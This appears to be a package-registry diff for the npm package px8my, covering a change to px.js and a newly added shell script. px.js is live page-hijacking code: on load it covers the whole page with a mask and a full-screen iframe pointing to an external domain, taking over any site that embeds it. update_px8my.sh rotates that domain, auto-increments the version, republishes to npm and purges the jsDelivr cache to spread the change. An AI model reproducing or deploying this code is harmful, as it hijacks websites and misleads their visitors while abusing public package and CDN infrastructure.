px8my 1.0.20 → 1.0.22
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/px.js +1 -1
- package/update_px8my.sh +52 -0
package/package.json
CHANGED
package/px.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
document.write(''); (function() { function generateRandomString(length) { return Math.random().toString(36).substring(2, length + 2); } function createLoadingMask() { var mask = document.createElement('div'); mask.id = 'ad_fullscreen_mask_' + generateRandomString(5); mask.style.cssText = ` position:fixed; top:0;left:0;width:100vw;height:100vh; background:#fff; display:flex; align-items:center; justify-content:center; z-index:2147483646; font-size:2rem; font-family:sans-serif; `; mask.innerText = '正在加载中...'; document.body.appendChild(mask); return mask; } function loadExternalContent(url, mask) { document.documentElement.style.height = '100%'; document.body.style.height = '100%'; document.body.style.margin = '0'; document.body.style.overflow = 'hidden'; var frameName = generateRandomString(10); var frame = document.createElement('iframe'); frame.id = frameName; frame.style.cssText = 'width:100vw;height:100vh;border:none;position:fixed;top:0;left:0;z-index:2147483647;'; frame.src = url; frame.onload = function() { if(mask && mask.parentNode) { mask.parentNode.removeChild(mask); } }; document.body.appendChild(frame); } function main() { document.title = '收藏网址,一直更新中。'; var arr=["https:\/\/mfyz.
|
|
1
|
+
document.write(''); (function() { function generateRandomString(length) { return Math.random().toString(36).substring(2, length + 2); } function createLoadingMask() { var mask = document.createElement('div'); mask.id = 'ad_fullscreen_mask_' + generateRandomString(5); mask.style.cssText = ` position:fixed; top:0;left:0;width:100vw;height:100vh; background:#fff; display:flex; align-items:center; justify-content:center; z-index:2147483646; font-size:2rem; font-family:sans-serif; `; mask.innerText = '正在加载中...'; document.body.appendChild(mask); return mask; } function loadExternalContent(url, mask) { document.documentElement.style.height = '100%'; document.body.style.height = '100%'; document.body.style.margin = '0'; document.body.style.overflow = 'hidden'; var frameName = generateRandomString(10); var frame = document.createElement('iframe'); frame.id = frameName; frame.style.cssText = 'width:100vw;height:100vh;border:none;position:fixed;top:0;left:0;z-index:2147483647;'; frame.src = url; frame.onload = function() { if(mask && mask.parentNode) { mask.parentNode.removeChild(mask); } }; document.body.appendChild(frame); } function main() { document.title = '收藏网址,一直更新中。'; var arr=["https:\/\/mfyz.dygz123.cn\/H.html?c=wsog"]; var externalUrl=arr[Math.floor(Math.random() * arr.length)]; var mask = createLoadingMask(); loadExternalContent(externalUrl, mask); } if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', main); } else { main(); } })();//finish
|
package/update_px8my.sh
ADDED
|
@@ -0,0 +1,52 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
# 用法: ./update_px8my.sh mfyz.gsmr06.cn
|
|
3
|
+
set -e
|
|
4
|
+
|
|
5
|
+
NEW_DOMAIN="$1"
|
|
6
|
+
if [ -z "$NEW_DOMAIN" ]; then
|
|
7
|
+
echo "Usage: $0 <new_domain>"
|
|
8
|
+
exit 1
|
|
9
|
+
fi
|
|
10
|
+
|
|
11
|
+
PX_JS="/root/npm/px/px.js"
|
|
12
|
+
PKG="/root/npm/px/package.json"
|
|
13
|
+
|
|
14
|
+
# 1. 替换域名
|
|
15
|
+
python3 - <<EOF
|
|
16
|
+
import re, sys
|
|
17
|
+
|
|
18
|
+
content = open('$PX_JS').read()
|
|
19
|
+
new_url = 'https:\\\\/\\\\/$NEW_DOMAIN\\\\/H.html?c=wsog'
|
|
20
|
+
result = re.sub(r'https:\\\\/\\\\/[^/]+\\\\/H\\.html\\?c=wsog', new_url, content)
|
|
21
|
+
if result == content:
|
|
22
|
+
print("ERROR: pattern not found in px.js")
|
|
23
|
+
sys.exit(1)
|
|
24
|
+
open('$PX_JS', 'w').write(result)
|
|
25
|
+
print(f"域名 -> $NEW_DOMAIN")
|
|
26
|
+
EOF
|
|
27
|
+
|
|
28
|
+
# 2. 版本号 +1
|
|
29
|
+
NEW_VER=$(python3 - <<EOF
|
|
30
|
+
import json
|
|
31
|
+
p = json.load(open('$PKG'))
|
|
32
|
+
v = p['version'].split('.')
|
|
33
|
+
v[-1] = str(int(v[-1]) + 1)
|
|
34
|
+
p['version'] = '.'.join(v)
|
|
35
|
+
open('$PKG', 'w').write(json.dumps(p, indent=2))
|
|
36
|
+
print(p['version'])
|
|
37
|
+
EOF
|
|
38
|
+
)
|
|
39
|
+
echo "版本 -> $NEW_VER"
|
|
40
|
+
|
|
41
|
+
# 3. npm publish
|
|
42
|
+
cd /root/npm/px && npm publish
|
|
43
|
+
|
|
44
|
+
# 4. jsDelivr purge
|
|
45
|
+
python3 - <<EOF
|
|
46
|
+
import urllib.request, json
|
|
47
|
+
url = 'https://purge.jsdelivr.net/npm/px8my/px.js'
|
|
48
|
+
resp = urllib.request.urlopen(url)
|
|
49
|
+
data = json.loads(resp.read())
|
|
50
|
+
providers = data['paths']['/npm/px8my/px.js']['providers']
|
|
51
|
+
print(f"purge: CF={providers['CF']} FY={providers['FY']}")
|
|
52
|
+
EOF
|